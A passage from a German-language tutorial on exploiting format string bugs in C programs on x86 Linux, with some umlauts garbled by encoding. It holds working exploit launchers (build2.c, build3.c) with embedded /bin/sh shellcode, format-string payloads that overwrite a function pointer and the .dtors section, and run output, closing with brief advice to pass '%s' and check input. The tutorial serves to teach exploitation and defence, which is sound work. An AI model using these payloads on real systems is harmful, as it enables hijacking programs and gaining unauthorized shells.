>./vuln `./build 0x8049848 0x8048664 3` adr : 134518856 (8049848) val : 134514276 (8048664) valh: 2052 (0804) vall: 34404 (8664) [JH%.2044x%3$hn%.32352x%4$hn] (33) argv2 = bffff694 (0xbffff51c) helloWorld() = 0x8048648 accessForbidden() = 0x8048664 before : ptrf() = 0x8048648 (0xbffff434) buffer = [JH000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000] (127) after : ptrf() = 0x8048648 (0xbffff434) Welcome in "helloWorld" You shouldn't be here "accesForbidden" Segmentation fault (core dumped)Alles l�uft wunderbar: erst
main()
dann
helloWorld()
und exit. Der Destructor wird aufgerufen
und der Abschnitt .dtors
f�ngt mit der Adresse
von accesForbidden()
an. Da es dort keine richtige
andere Adresse einer Funktion gibt, erh�lt man den erwarteten
Coredump.
Das war eine einfache Ausnutzung eines Sicherheitslochs. Nach dem
gleichen Prinzip kann man eine Shell erhalten. Man kann den
Shellcode entweder �ber argv[]
oder �ber
eine Umgebungsvariable �bergeben. Wir m�ssen nur die
richtige Adresse setzen (z.B die Adresse der eggshell) im Abschnitt
.dtors
.
Bis jetzt wissen wir:
In der Realit�t ist das verletzbare Programm oft nicht so einfach und sympatisch wie unser Beispiel. Wir benutzen daher eine neue Methode, die es uns erlaubt, den Shellcode in den Speicher zu schreiben und dann seine exakte Adresse zu finden (das hei�t keine NOPs mehr am Anfang des Shellcodes).
Die Idee basiert auf rekursiven Aufrufen der Funktion
exec*()
:
/* argv.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> main(int argc, char **argv) { char **env; char **arg; int nb = atoi(argv[1]), i; env = (char **) malloc(sizeof(char *)); env[0] = 0; arg = (char **) malloc(sizeof(char *) * nb); arg[0] = argv[0]; arg[1] = (char *) malloc(5); snprintf(arg[1], 5, "%d", nb-1); arg[2] = 0; /* printings */ printf("*** argv %d ***\n", nb); printf("argv = %p\n", argv); printf("arg = %p\n", arg); for (i = 0; i<argc; i++) { printf("argv[%d] = %p (%p)\n", i, argv[i], &argv[i]); printf("arg[%d] = %p (%p)\n", i, arg[i], &arg[i]); } printf("\n"); /* recall */ if (nb == 0) exit(0); execve(argv[0], arg, env); }Die Eingabe ist ein
nb
Integer und das Programm wird
sich nb+1
mal rekursiv aufrufen:
>>./argv 2 *** argv 2 *** argv = 0xbffff6b4 arg = 0x8049828 argv[0] = 0xbffff80b (0xbffff6b4) arg[0] = 0xbffff80b (0x8049828) argv[1] = 0xbffff812 (0xbffff6b8) arg[1] = 0x8049838 (0x804982c) *** argv 1 *** argv = 0xbfffff44 arg = 0x8049828 argv[0] = 0xbfffffec (0xbfffff44) arg[0] = 0xbfffffec (0x8049828) argv[1] = 0xbffffff3 (0xbfffff48) arg[1] = 0x8049838 (0x804982c) *** argv 0 *** argv = 0xbfffff44 arg = 0x8049828 argv[0] = 0xbfffffec (0xbfffff44) arg[0] = 0xbfffffec (0x8049828) argv[1] = 0xbffffff3 (0xbfffff48) arg[1] = 0x8049838 (0x804982c)
Wir erkennen sofort, da� die Adressen von arg
und argv
nach dem zweiten Aufruf sich nicht mehr
ver�ndern. Wir benutzen genau diese Eigenschaft f�r
unseren Angriff. Wir m�ssen nur unser build
Programm leicht modifizieren, so da� es sich selbst aufruft,
bevor es vuln
aufruft. Auf diese Weise erhalten wir
die genaue Adresse von argv
und unserem Shellcode:
/* build2.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> char* build(unsigned int addr, unsigned int value, unsigned int where) { //Same function as in build.c } int main(int argc, char **argv) { char *buf; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; if(argc < 3) return EXIT_FAILURE; if (argc == 3) { fprintf(stderr, "Calling %s ...\n", argv[0]); buf = build(strtoul(argv[1], NULL, 16), /* adresse */ &shellcode, atoi(argv[2])); /* offset */ fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); execlp(argv[0], argv[0], buf, &shellcode, argv[1], argv[2], NULL); } else { fprintf(stderr, "Calling ./vuln ...\n"); fprintf(stderr, "sc = %p\n", argv[2]); buf = build(strtoul(argv[3], NULL, 16), /* adresse */ argv[2], atoi(argv[4])); /* offset */ fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); execlp("./vuln","./vuln", buf, argv[2], argv[3], argv[4], NULL); } return EXIT_SUCCESS; }
Der Trick ist, da� wir wissen, was wir aufrufen m�ssen
gem�� der Anzahl der Argumente, die unser Progamm
erh�lt. Um unseren Angriff zu starten, geben wir
build2
die Adresse und den Offset, wo wir schreiben
wollen.
Um zum Erfolg zu kommen, m�ssen wir das genau gleiche Memory
Layout zwischen den verschiedenen Aufrufen zu build2
und vuln
behalten:
>>./build2 0xbffff634 3 Calling ./build2 ... adr : -1073744332 (bffff634) val : -1073744172 (bffff6d4) valh: 49151 (bfff) vall: 63188 (f6d4) [6�ÿ¿4�ÿ¿%.49143x%3$hn%.14037x%4$hn] (34) Calling ./vuln ... sc = 0xbffff88f adr : -1073744332 (bffff634) val : -1073743729 (bffff88f) valh: 49151 (bfff) vall: 63631 (f88f) [6�ÿ¿4�ÿ¿%.49143x%3$hn%.14480x%4$hn] (34) 0 0xbffff867 1 0xbffff86e 2 0xbffff891 3 0xbffff8bf 4 0xbffff8ca helloWorld() = 0x80486c4 accessForbidden() = 0x80486e8 before : ptrf() = 0x80486c4 (0xbffff634) buffer = [6�ÿ¿4�ÿ¿00000000000000000 000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000] (127) after : ptrf() = 0xbffff88f (0xbffff634) Segmentation fault (core dumped)
Warum hat das nicht funktioniert? Wir haben gesagt, wir
m�ssen die exakte Kopie des Memory Layouts zwischen den zwei
Aufrufen einhalten ... und wir haben es nicht getan!
argv[0]
(der Name des Programms) hat sich
ge�ndert. Unser Programm hei�t zuerst build2
(6
bytes) und dann vuln
(4 bytes). Es ist ein Unterschied
von 2 Bytes, was genau der Wert ist, den man im vorherigen Beispiel
sehen kann. Die Adresse des Shellcodes w�hrend des zweiten
Aufrufes von build2
ist durch
sc=0xbffff88f
gegeben, aber die Anzeige von
vuln
in argv[2]
ergibt
20xbffff891
: unsere 2 Bytes. Um das zu l�sen, ist
es genug, unser build2
in bui2
(nur 4
Bytes) umzubenenen:
>>cp build2 bui2 >>./bui2 0xbffff634 3 Calling ./bui2 ... adr : -1073744332 (bffff634) val : -1073744156 (bffff6e4) valh: 49151 (bfff) vall: 63204 (f6e4) [6�ÿ¿4�ÿ¿%.49143x%3$hn%.14053x%4$hn] (34) Calling ./vuln ... sc = 0xbffff891 adr : -1073744332 (bffff634) val : -1073743727 (bffff891) valh: 49151 (bfff) vall: 63633 (f891) [6�ÿ¿4�ÿ¿%.49143x%3$hn%.14482x%4$hn] (34) 0 0xbffff867 1 0xbffff86e 2 0xbffff891 3 0xbffff8bf 4 0xbffff8ca helloWorld() = 0x80486c4 accessForbidden() = 0x80486e8 before : ptrf() = 0x80486c4 (0xbffff634) buffer = [6�ÿ¿4�ÿ¿000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000] (127) after : ptrf() = 0xbffff891 (0xbffff634) bash$
Wieder gewonnen: jetzt funktioniert es viel besser ;-) Die
eggshell ist im Stack und wir haben die Adresse, auf die
ptrf
zeigt auf unseren Shellcode zeigen lassen.
Nat�rlich funktioniert das nur, wenn der Stack ausf�hrbar
ist.
Wir haben jedoch gesehen, da� man mit Formatstrings
�berall schreiben kann. La� uns einen Destructor
f�r unser Programm im Abschnitt .dtors
hinzuf�gen:
>>objdump -s -j .dtors vuln vuln: file format elf32-i386 Contents of section .dtors: 80498c0 ffffffff 00000000 ........ >>./bui2 80498c4 3 Calling ./bui2 ... adr : 134518980 (80498c4) val : -1073744156 (bffff6e4) valh: 49151 (bfff) vall: 63204 (f6e4) [�%.49143x%3$hn%.14053x%4$hn] (34) Calling ./vuln ... sc = 0xbffff894 adr : 134518980 (80498c4) val : -1073743724 (bffff894) valh: 49151 (bfff) vall: 63636 (f894) [�%.49143x%3$hn%.14485x%4$hn] (34) 0 0xbffff86a 1 0xbffff871 2 0xbffff894 3 0xbffff8c2 4 0xbffff8ca helloWorld() = 0x80486c4 accessForbidden() = 0x80486e8 before : ptrf() = 0x80486c4 (0xbffff634) buffer = [�000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000] (127) after : ptrf() = 0x80486c4 (0xbffff634) Welcome in "helloWorld" bash$ exit exit >>
Hier gibt es keinen coredump
beim Beenden unseres
Destructors. Das ist, weil unser Shellcode ein exit(0)
enth�lt.
Zum Abschlu� noch ein kleines Geschenk. Hier ist
build3.c
, das auch zu einer Shell f�hrt, aber es
kann �ber eine Umgebungsvariable eingef�hrt werden:
/* build3.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> char* build(unsigned int addr, unsigned int value, unsigned int where) { //Même fonction que dans build.c } int main(int argc, char **argv) { char **env; char **arg; unsigned char *buf; unsigned char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; if (argc == 3) { fprintf(stderr, "Calling %s ...\n", argv[0]); buf = build(strtoul(argv[1], NULL, 16), /* adresse */ &shellcode, atoi(argv[2])); /* offset */ fprintf(stderr, "%d\n", strlen(buf)); fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); printf("%s", buf); arg = (char **) malloc(sizeof(char *) * 3); arg[0]=argv[0]; arg[1]=buf; arg[2]=NULL; env = (char **) malloc(sizeof(char *) * 4); env[0]=&shellcode; env[1]=argv[1]; env[2]=argv[2]; env[3]=NULL; execve(argv[0],arg,env); } else if(argc==2) { fprintf(stderr, "Calling ./vuln ...\n"); fprintf(stderr, "sc = %p\n", environ[0]); buf = build(strtoul(environ[1], NULL, 16), /* adresse */ environ[0], atoi(environ[2])); /* offset */ fprintf(stderr, "%d\n", strlen(buf)); fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); printf("%s", buf); arg = (char **) malloc(sizeof(char *) * 3); arg[0]=argv[0]; arg[1]=buf; arg[2]=NULL; execve("./vuln",arg,environ); } return 0; }
Nochmal zur Erinnerung: Da die Umgebungsvariablen im Stack liegen, m�ssen wir darauf achten, nicht den Speicher zu modifizieren.
Hier benutzen wir die globale Variable extern char
**environ
um die Werte zu setzen, die wir brauchen:
environ[0]
: enth�lt den Shellcode;environ[1]
: enth�lt die Adresse, in die wir
schreiben wollenenviron[2]
: enth�lt den Offset."%s"
ein, wenn Funktionen wie
printf()
, syslog()
, ..., aufgerufen
werden. Falls man es �berhaupt nicht vermeiden kann, dann
mu� man die Eingabe des Benutzers genau pr�fen.
exec*()
Trick) und
seine Ermutigungen haben sehr geholfen ;-)